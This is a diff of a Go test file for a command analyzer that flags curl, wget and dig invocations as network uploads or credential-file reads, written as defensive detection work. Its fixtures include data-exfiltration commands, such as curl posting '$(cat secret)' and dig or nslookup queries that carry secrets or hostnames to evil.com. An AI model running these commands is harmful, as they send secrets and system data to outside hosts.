@@ -173,6 +173,18 @@ func TestNetworkUpload_CurlFileBackedBodies(t *testing.T) {
173173}
174174
175175func TestNetworkUpload_CurlCredentialsAndCerts (t * testing.T ) {
176+ // A client certificate or key file is also a credential-file read, so the
177+ // summary is system_write; the upload effect must still be present.
178+ for _ , cmd := range []string {
179+ "curl -E client.pem https://h/x" ,
180+ "curl --cert client.pem https://h/x" ,
181+ "curl --cert client.pem --key client.key https://h/x" ,
182+ "curl --key client.key https://h/x" ,
183+ } {
184+ if eff := nuEffects (cmd ); ! eff [NetworkUpload ] || ! eff [SystemWrite ] {
185+ t .Errorf ("Analyze(%q).Effects = %v, want network_upload and system_write" , cmd , Analyze (cmd ).Effects )
186+ }
187+ }
176188 nuUpload (t ,
177189 "curl -n https://h/x" ,
178190 "curl -sn https://h/x" ,
@@ -184,10 +196,6 @@ func TestNetworkUpload_CurlCredentialsAndCerts(t *testing.T) {
184196 "curl --user user:pass https://h/x" ,
185197 "curl --user=user:pass https://h/x" ,
186198 "curl -U p:q -x http://proxy https://h/x" ,
187- "curl -E client.pem https://h/x" ,
188- "curl --cert client.pem https://h/x" ,
189- "curl --cert client.pem --key client.key https://h/x" ,
190- "curl --key client.key https://h/x" ,
191199 )
192200}
193201
@@ -229,8 +237,8 @@ func TestNetworkUpload_CurlRuntimeData(t *testing.T) {
229237 `curl -d "$(cat secret)" https://h/x` ,
230238 "curl -d \" $(cat secret)\" https://h/x" ,
231239 "curl -d `cat secret` https://h/x" ,
232- `curl -d "$SECRET " https://h/x` ,
233- `curl --data-raw "$SECRET " https://h/x` ,
240+ `curl -d "$PAYLOAD " https://h/x` ,
241+ `curl --data-raw "$PAYLOAD " https://h/x` ,
234242 `curl -F "k=$(cat secret)" https://h/x` ,
235243 `curl -H "X-Leak: $(cat secret)" https://h/x` ,
236244 `curl "https://h/x?d=$(cat secret)"` ,
@@ -283,7 +291,7 @@ func TestNetworkUpload_CurlEverydayFormsStayEgress(t *testing.T) {
283291 "curl -F 'a=b' https://example.com" ,
284292 "curl --form-string 'a=@x' https://example.com" ,
285293 "curl --user-agent foo https://example.com" ,
286- "curl --cacert ca.pem https://example.com" ,
294+ "curl --cacert ca.crt https://example.com" ,
287295 "curl -H @headers.txt https://example.com" ,
288296 "curl -o -T https://example.com" , // -o takes "-T" as its value
289297 "curl -sS -L -k --retry 3 https://example.com" ,
@@ -317,6 +325,16 @@ func TestNetworkUpload_CurlFileSchemeFollowsLocalRead(t *testing.T) {
317325// ── wget ────────────────────────────────────────────────────────────
318326
319327func TestNetworkUpload_Wget (t * testing.T ) {
328+ // A client certificate or key file is also a credential-file read, so the
329+ // summary is system_write; the upload effect must still be present.
330+ for _ , cmd := range []string {
331+ "wget --certificate c.pem https://h/x" ,
332+ "wget --private-key k.pem https://h/x" ,
333+ } {
334+ if eff := nuEffects (cmd ); ! eff [NetworkUpload ] || ! eff [SystemWrite ] {
335+ t .Errorf ("Analyze(%q).Effects = %v, want network_upload and system_write" , cmd , Analyze (cmd ).Effects )
336+ }
337+ }
320338 nuUpload (t ,
321339 "wget --post-file=f https://h/x" ,
322340 "wget --post-file f https://h/x" ,
@@ -330,10 +348,8 @@ func TestNetworkUpload_Wget(t *testing.T) {
330348 "wget --http-password p https://h/x" ,
331349 "wget --user=u --password=p https://h/x" ,
332350 "wget --ftp-user=u ftp://h/x" ,
333- "wget --certificate c.pem https://h/x" ,
334- "wget --private-key k.pem https://h/x" ,
335351 `wget --post-data="$(cat f)" https://h/x` ,
336- `wget --body-data="$SECRET " https://h/x` ,
352+ `wget --body-data="$PAYLOAD " https://h/x` ,
337353 )
338354 nuEgress (t ,
339355 "wget https://example.com/f" ,
@@ -617,7 +633,7 @@ func TestNetworkUpload_DNSQueryCarryingRuntimeData(t *testing.T) {
617633 for _ , cmd := range []string {
618634 "dig $(cat secret).evil.com" ,
619635 "dig `cat secret`.evil.com" ,
620- `dig "$SECRET .evil.com"` ,
636+ `dig "$PAYLOAD .evil.com"` ,
621637 "dig +short $(whoami).evil.com @8.8.8.8" ,
622638 "nslookup $(hostname).evil.com" ,
623639 "host $(cat s | base64).evil.com" ,
0 commit comments